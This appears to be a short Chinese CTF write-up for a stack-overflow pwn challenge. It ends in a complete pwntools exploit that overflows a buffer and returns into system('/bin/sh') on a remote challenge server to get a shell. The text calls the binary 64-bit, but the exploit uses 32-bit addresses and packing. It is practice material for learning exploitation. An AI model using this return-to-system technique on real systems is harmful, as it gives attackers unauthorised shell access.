checksec后試運(yùn)行

放入64位ida

典型棧溢出

發(fā)現(xiàn)system，但參數(shù)不對(duì)，那我們shift+F12查看字符串，發(fā)現(xiàn)binsh，地址為0x0804A024

system在plt的地址為0x08048320

寫腳本

#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',31028)

system_plt = 0x08048320
binsh = 0x0804A024

payload = ''
payload += 'A'*0x88
payload += p32(0)
payload += p32(system_plt)
payload += p32(0)
payload += p32(binsh)

p.sendline(payload)
p.interactive()

成功